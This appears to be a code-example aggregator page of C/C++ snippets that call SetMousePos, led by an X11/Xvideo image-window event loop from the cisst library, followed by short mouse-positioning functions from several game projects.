    for (i = 0; i < NumOfWins; i ++) {
        xImg[i] = XCreateImage(xDisplay,
                               DefaultVisual(xDisplay, xScreen),
                               24,
                               ZPixmap,
                               0,
                               reinterpret_cast<char*>(xImageBuffers[i]),
                               Width[i],
                               Height[i],
                               32,
                               0);
    }
#endif // CISST_SVL_HAS_XV

    prevright = prevbottom = 0;
    for (i = 0; i < NumOfWins; i ++) {
        if (PosX == 0 || PosY == 0) {
            if (fullscreen) {
                x = prevright;
                y = 0;
                prevright += Width[i];
            }
            else {
                x = prevright;
                y = prevbottom;
                prevright += 50;
                prevbottom += 50;
            }
        }
        else {
            x = PosX[i];
            y = PosY[i];
        }

        xWindows[i] = XCreateSimpleWindow(xDisplay, DefaultRootWindow(xDisplay),
                                          x,
                                          y,
                                          Width[i],
                                          Height[i],
                                          0,
                                          black,
                                          white);
        if (xWindows[i] == 0) goto labError;

        // overriding default behaviours:
        //    - borderless mode
        //    - closing window
        if (fullscreen) {
            XChangeProperty(xDisplay, xWindows[i],
                            atoms[1], atoms[1], 32,
                            PropModeReplace, reinterpret_cast<unsigned char*>(&mwm), 5);
            atom_count = 2;
        }
        else {
            atom_count = 1;
        }
        XSetWMProtocols(xDisplay, xWindows[i], atoms, atom_count);

        wsh.flags = PPosition|PSize;
        wsh.x = x;
        wsh.y = y;
        wsh.width = Width[i];
        wsh.height = Height[i];
        XSetNormalHints(xDisplay, xWindows[i], &wsh);

        // set window title
        CustomTitleEnabled[i] = 0;

        std::ostringstream ostring;
        if (Title.length() > 0) {
            if (NumOfWins > 0) ostring << Title << " #" << i;
            else ostring << Title;
        }
        else {
            if (NumOfWins > 0) ostring << Title << "svlImageWindow #" << i;
            else ostring << "svlImageWindow";
        }

        Titles[i] = ostring.str();
        XSetStandardProperties(xDisplay, xWindows[i],
                               Titles[i].c_str(), Titles[i].c_str(),
                               None, NULL, 0, NULL);

        // set even mask
        XSelectInput(xDisplay, xWindows[i], ExposureMask|PointerMotionMask|ButtonPressMask|KeyPressMask);

        // set window colormap
        XSetWindowColormap(xDisplay, xWindows[i], DefaultColormapOfScreen(DefaultScreenOfDisplay(xDisplay)));

#if CISST_SVL_HAS_XV
        // query shared memory extension
        if (!XShmQueryExtension(xDisplay)) goto labError;

        // query video adaptors
        if (XvQueryAdaptors(xDisplay, DefaultRootWindow(xDisplay), &xvadaptorcount, &xvai) != Success) goto labError;
        xvPort[i] = xvai->base_id + i;
        XvFreeAdaptorInfo(xvai);

        // overriding default Xvideo vertical sync behavior
        XvSetPortAttribute (xDisplay, xvPort[i], atoms[2], 1);
#endif // CISST_SVL_HAS_XV

        // create graphics context
        xGCs[i] = XCreateGC(xDisplay, xWindows[i], 0, 0);

        // set default colors
        XSetBackground(xDisplay, xGCs[i], white);
        XSetForeground(xDisplay, xGCs[i], black);

#if CISST_SVL_HAS_XV
        // create image in shared memory
        xvImg[i] = XvShmCreateImage(xDisplay, xvPort[i], 0x32595559/*YUV2*/, 0, Width[i], Height[i], &(xvShmInfo[i]));
        if (xvImg[i]->width < static_cast<int>(Width[i]) || xvImg[i]->height < static_cast<int>(Height[i])) {
            CMN_LOG_INIT_ERROR << "DoModal - image too large for XV to display (requested="
                               << Width[i] << "x" << Height[i] << "; allowed="
                               << xvImg[i]->width << "x" << xvImg[i]->height << ")" << std::endl;
            goto labError;
        }
        xvShmInfo[i].shmid = shmget(IPC_PRIVATE, xvImg[i]->data_size, IPC_CREAT | 0777);
        xvShmInfo[i].shmaddr = xvImg[i]->data = reinterpret_cast<char*>(shmat(xvShmInfo[i].shmid, 0, 0));
        xvShmInfo[i].readOnly = False;
        if (!XShmAttach(xDisplay, &(xvShmInfo[i]))) goto labError;
#endif // CISST_SVL_HAS_XV

        // clear window
        XClearWindow(xDisplay, xWindows[i]);

        // show window if requested
        if (show) XMapRaised(xDisplay, xWindows[i]);
    }

    // signal that initialization is done
    if (InitReadySignal) InitReadySignal->Raise();

	// main message loop
    XEvent event;
    KeySym code;
    unsigned int winid;

    while (1) {
        osaSleep(0.001);
#if CISST_SVL_HAS_XV
        if (!xvupdateimage) {
            for (int events = XPending(xDisplay); events > 0; events --) {
#else // CISST_SVL_HAS_XV
        if (XPending(xDisplay)) {
#endif // CISST_SVL_HAS_XV
                XNextEvent(xDisplay, &event);

                // find recipient
                for (winid = 0; winid < NumOfWins; winid ++) {
                    if (event.xany.window == xWindows[winid]) break;
                }
                if (winid == NumOfWins) continue;

                // override default window behaviour
                if (event.type == ClientMessage) {
                    if (static_cast<unsigned long>(event.xclient.data.l[0]) == atoms[0]) {
                        // X11 server wants to close window
                        // Do nothing.... we will destroy it ourselves later
                    }
                    continue;
                }

                // window should be closed
                if (event.type == UnmapNotify) {
                    printf("destroy\n");
                    if (xGCs[winid]) {
                        XFreeGC(xDisplay, xGCs[winid]);
                        xGCs[winid] = 0;
                    }
                    xWindows[winid] = 0;
                    continue;
                }

                // window should be updated
                if (event.type == Expose && event.xexpose.count == 0) {
                    XClearWindow(xDisplay, xWindows[winid]);
                    continue;
                }

                if (event.type == KeyPress) {
                    code = XLookupKeysym(&event.xkey, 0);
                    if (code >= 48 && code <= 57) { // ascii numbers
                        OnUserEvent(winid, true, code);
                        continue;
                    }
                    if (code >= 97 && code <= 122) { // ascii letters
                        OnUserEvent(winid, true, code);
                        continue;
                    }
                    if (code == 13 ||
                        code == 32) { // special characters with correct ascii code
                        OnUserEvent(winid, true, code);
                        continue;
                    }
                    if (code >= 0xffbe && code <= 0xffc9) { // F1-F12
                        OnUserEvent(winid, false, winInput_KEY_F1 + (code - 0xffbe));
                        continue;
                    }
                    switch (code) {
                        case 0xFF55:
                            OnUserEvent(winid, false, winInput_KEY_PAGEUP);
                        break;

                        case 0xFF56:
                            OnUserEvent(winid, false, winInput_KEY_PAGEDOWN);
                        break;

                        case 0xFF50:
                            OnUserEvent(winid, false, winInput_KEY_HOME);
                        break;

                        case 0xFF57:
                            OnUserEvent(winid, false, winInput_KEY_END);
                        break;

                        case 0xFF63:
                            OnUserEvent(winid, false, winInput_KEY_INSERT);
                        break;

                        case 0xFFFF:
                            OnUserEvent(winid, false, winInput_KEY_DELETE);
                        break;

                        case 0xFF51:
                            OnUserEvent(winid, false, winInput_KEY_LEFT);
                        break;

                        case 0xFF53:
                            OnUserEvent(winid, false, winInput_KEY_RIGHT);
                        break;

                        case 0xFF52:
                            OnUserEvent(winid, false, winInput_KEY_UP);
                        break;

                        case 0xFF54:
                            OnUserEvent(winid, false, winInput_KEY_DOWN);
                        break;
                    }
                    continue;
                }

                if (event.type == ButtonPress) {
                    if (event.xbutton.button == Button1) {
                        if (!LButtonDown && !RButtonDown) {
                            LButtonDown = true;
                            XGrabPointer(xDisplay, xWindows[winid], false,
                                         PointerMotionMask|ButtonReleaseMask,
                                         GrabModeAsync, GrabModeAsync,
                                         None,
                                         None,
                                         CurrentTime);
                        }
                        OnUserEvent(winid, false, winInput_LBUTTONDOWN);
                    }
                    else if (event.xbutton.button == Button3) {
                        if (!LButtonDown && !RButtonDown) {
                            RButtonDown = true;
                            XGrabPointer(xDisplay, xWindows[winid], false,
                                         PointerMotionMask|ButtonReleaseMask,
                                         GrabModeAsync, GrabModeAsync,
                                         None,
                                         None,
                                         CurrentTime);
                        }
                        OnUserEvent(winid, false, winInput_RBUTTONDOWN);
                    }
                }
                
                if (event.type == ButtonRelease) {
                    if (event.xbutton.button == Button1) {
                        OnUserEvent(winid, false, winInput_LBUTTONUP);
                        if (LButtonDown && !RButtonDown) {
                            LButtonDown = false;
                            XUngrabPointer(xDisplay, CurrentTime);
                        }
                    }
                    else if (event.xbutton.button == Button3) {
                        OnUserEvent(winid, false, winInput_RBUTTONUP);
                        if (!LButtonDown && RButtonDown) {
                            RButtonDown = false;
                            XUngrabPointer(xDisplay, CurrentTime);
                        }
                    }
                }

                if (event.type == MotionNotify) {
                    SetMousePos(static_cast<short>(event.xmotion.x), static_cast<short>(event.xmotion.y));
                    OnUserEvent(winid, false, winInput_MOUSEMOVE);
                }

#if CISST_SVL_HAS_XV
                // image update complete
                if (event.type == XShmGetEventBase(xDisplay) + ShmCompletion) {
                    xvupdateimage = true;
                    continue;
                }
            }
            if (!xvupdateimage) signalImage.Wait(0.01);
#endif // CISST_SVL_HAS_XV
        }
        else {
            if (DestroyFlag) break;

            if (ImageCounter > lastimage) {
                csImage.Enter();
                    lastimage = ImageCounter;

#if CISST_SVL_HAS_XV
                    for (i = 0; i < NumOfWins; i ++) {
                        XvShmPutImage(xDisplay,
                                      xvPort[i],
                                      xWindows[i],
                                      xGCs[i],
                                      xvImg[i],
                                      0, 0, Width[i], Height[i],
                                      0, 0, Width[i], Height[i], True);
                    }
                    xvupdateimage = false;
#else // CISST_SVL_HAS_XV
                    for (i = 0; i < NumOfWins; i ++) {
                        xImg[i]->data = reinterpret_cast<char*>(xImageBuffers[i]);
                        XPutImage(xDisplay,
                                  xWindows[i],
                                  xGCs[i],
                                  xImg[i],
                                  0, 0, 0, 0,
                                  Width[i], Height[i]);
                    }
#endif // CISST_SVL_HAS_XV
/*
                    for (i = 0; i < NumOfWins; i ++) {
                        if (CustomTitleEnabled[i] < 0) {
                            // Restore original timestamp
                            XSetStandardProperties(xDisplay, xWindows[i],
                                                   Titles[i].c_str(), Titles[i].c_str(),
                                                   None, NULL, 0, NULL);
                        }
                        else if (CustomTitleEnabled[i] > 0) {
                            // Set custom timestamp
                            XSetStandardProperties(xDisplay, xWindows[i],
                                                   CustomTitles[i].c_str(), CustomTitles[i].c_str(),
                                                   None, NULL, 0, NULL);
                        }
                    }
*/
                csImage.Leave();
            }
        }
    }

labError:

#if CISST_SVL_HAS_XV
    if (xvShmInfo) {
        for (i = 0; i < NumOfWins; i ++) {
            XShmDetach(xDisplay, &(xvShmInfo[i]));
            shmdt(xvShmInfo[i].shmaddr);
        }
        delete [] xvShmInfo; 
        xvShmInfo = 0;
    }
#endif // CISST_SVL_HAS_XV
    XSync(xDisplay, 0);
    for (i = 0; i < NumOfWins; i ++) {
        if (xGCs[i]) XFreeGC(xDisplay, xGCs[i]);
        if (xWindows[i]) XDestroyWindow(xDisplay, xWindows[i]);
    }
    XCloseDisplay(xDisplay);
#if CISST_SVL_HAS_XV
    if (xvImg) {
        for (i = 0; i < NumOfWins; i ++) {
            if (xvImg[i]) XFree(xvImg[i]); 
        }
        delete [] xvImg; 
        xvImg = 0;
    }
    if (xvPort) {
        delete [] xvPort; 
        xvPort = 0;
    }
#else // CISST_SVL_HAS_XV
    if (xImg) {
        for (i = 0; i < NumOfWins; i ++) {
            if (xImg[i]) XDestroyImage(xImg[i]); 
        }
        delete [] xImg; 
        xImg = 0;
    }
    if (xImageBuffers) {
        delete [] xImageBuffers;
        xImageBuffers = 0;
    }
#endif // CISST_SVL_HAS_XV
    if (xGCs) {
        delete [] xGCs;
        xGCs = 0;
    }
    if (xWindows) {
        delete [] xWindows;
        xWindows = 0;
    }
    if (Titles) {
        delete [] Titles;
        Titles = 0;
    }
    if (CustomTitles) {
        delete [] CustomTitles;
        CustomTitles = 0;
    }
    if (CustomTitleEnabled) {
        delete [] CustomTitleEnabled;
        CustomTitleEnabled = 0;
    }

    xScreen = 0;
    xDisplay = 0;

    if (DestroyedSignal) DestroyedSignal->Raise();

    return 0;
}
コード例 #22
0
//-----------------------------------------------------------------------------
// Purpose: Recenter the mouse
//-----------------------------------------------------------------------------
void CInput::ResetMouse( void )
{
	int x, y;
	GetWindowCenter( x,  y );
	SetMousePos( x, y );	
}
コード例 #23
0
ファイル: csnap.c プロジェクト: pheonixstorm/wzredemption
void GotoDirectionalSnap(CURSORSNAP *SnapBuffer,SNAPDIRECTION Direction,SWORD CurrX,SWORD CurrY)
{
	UWORD i;
	UWORD CurrentSnap = SnapBuffer->CurrentSnap;
	SWORD ThisX = SnapBuffer->SnapCoords[CurrentSnap].SnapX;
	SWORD ThisY = SnapBuffer->SnapCoords[CurrentSnap].SnapY;
	SWORD NearestSnap = -1;
	SWORD NearestDist = 32767;
	SWORD dx,dy;
	SWORD Dist;


	if(SnapBuffer->CurrentSnap < 0) {
		SnapBuffer->CurrentSnap = SnapBuffer->NumSnaps-1;
	}
	if(SnapBuffer->CurrentSnap >= SnapBuffer->NumSnaps) {
		SnapBuffer->CurrentSnap = 0;
	}

//	DBPRINTF(("NumSnaps %d %d %d\n",SnapBuffer->NumSnaps,Direction,EnabledFormID);

	for(i=0; i<SnapBuffer->NumSnaps; i++) {
		SNAPBIAS *Bias = SnapBuffer->SnapCoords[CurrentSnap].Bias;	//i].Bias;

#ifdef SNAP_ERASABLE
		if( ((i != CurrentSnap) || (Direction == SNAP_NEAREST)) && (SnapBuffer->SnapCoords[i].FormID) ) {
#else
		if( ((i != CurrentSnap) || (Direction == SNAP_NEAREST)) &&
			((SnapBuffer->SnapCoords[i].FormID == EnabledFormID) || (EnabledFormID == 0)) ) {
#endif
			dx = SnapBuffer->SnapCoords[i].SnapX - ThisX;
			dy = SnapBuffer->SnapCoords[i].SnapY - ThisY;

			if(Direction == SNAP_NEAREST) {

				dx = SnapBuffer->SnapCoords[i].SnapX - CurrX;
				dy = SnapBuffer->SnapCoords[i].SnapY - CurrY;

				Dist = abs(dx*Bias->NDxBias) + abs(dy*Bias->NDyBias);
				if(Dist < NearestDist) {
					NearestSnap = i;
					NearestDist = Dist;
				}

			} else if(Direction == SNAP_UP) {

				if(dy >= 0) {
//					DBPRINTF(("Skip SNAP_UP\n");
					continue;
				}

				dx = abs(dx);
				dy = abs(dy);

				Dist = dx*Bias->UDxBias + dy*Bias->UDyBias;
//DBPRINTF(("SNAP_UP %d %d : %d %d : %d\n",abs(dx),abs(dy),abs(dx*Bias->UDxBias),abs(dy*Bias->UDyBias),Dist);
				if((Dist < NearestDist) && (dx < MaxXDist)) {
					NearestSnap = i;
					NearestDist = Dist;
				}

			} else if(Direction == SNAP_RIGHT) {

				if(dx <= 0) {
//					DBPRINTF(("Skip SNAP_RIGHT\n");
					continue;
				}

				dx = abs(dx);
				dy = abs(dy);

				Dist = dx*Bias->RDxBias + dy*Bias->RDyBias;
//DBPRINTF(("SNAP_RIGHT %d %d : %d %d : %d\n",abs(dx),abs(dy),abs(dx*Bias->RDxBias),abs(dy*Bias->RDyBias),Dist);
				if((Dist < NearestDist) && (dy < MaxYDist)) {
					NearestSnap = i;
					NearestDist = Dist;
				}

			} else if(Direction == SNAP_DOWN) {

				if(dy <= 0) {
//					DBPRINTF(("Skip SNAP_DOWN\n");
					continue;
				}

				dx = abs(dx);
				dy = abs(dy);

				Dist = dx*Bias->DDxBias + dy*Bias->DDyBias;
//DBPRINTF(("SNAP_DOWN %d %d : %d %d : %d\n",abs(dx),abs(dy),abs(dx*Bias->DDxBias),abs(dy*Bias->DDyBias),Dist));
				if((Dist < NearestDist) && (dx < MaxXDist)) {
					NearestSnap = i;
					NearestDist = Dist;
				}

			} else if(Direction == SNAP_LEFT) {

				if(dx >= 0) {
//					DBPRINTF(("Skip SNAP_LEFT\n");
					continue;
				}


				dx = abs(dx);
				dy = abs(dy);
				Dist = dx*Bias->LDxBias + dy*Bias->LDyBias;
//DBPRINTF(("SNAP_LEFT %d %d : %d %d : %d\n",abs(dx),abs(dy),abs(dx*Bias->LDxBias),abs(dy*Bias->LDyBias),Dist);
				if((Dist < NearestDist) && (dy < MaxYDist)) {
					NearestSnap = i;
					NearestDist = Dist;
				}

			}
		}
	}

	if(NearestSnap >= 0) {
		SnapBuffer->CurrentSnap = NearestSnap;
		SetMousePos(0,SnapBuffer->SnapCoords[NearestSnap].SnapX,
					SnapBuffer->SnapCoords[NearestSnap].SnapY);
	}
}


void SnapToID(CURSORSNAP *SnapBuffer,UWORD snp)
{
	SnapBuffer->CurrentSnap = snp;
}


void SnapCursorTo(UWORD x,UWORD y)
{
	SetMousePos(0,x,y);
}
コード例 #24
0
//-----------------------------------------------------------------------------
// Purpose: 
// Input  : mx - 
//			my - 
//-----------------------------------------------------------------------------
void CInput::SetFullscreenMousePos( int mx, int my )
{
	SetMousePos( mx, my );
}
コード例 #25
0
ファイル: WinAPI.cpp プロジェクト: gattschardo/s25client
/**
 *  Funktion zum Setzen der X-Koordinate der Maus.
 *
 *  @param[in] x X-Koordinate
 *
 *  @author FloSoft
 */
void VideoWinAPI::SetMousePosX(int x)
{
    SetMousePos(x, mouse_xy.y);
}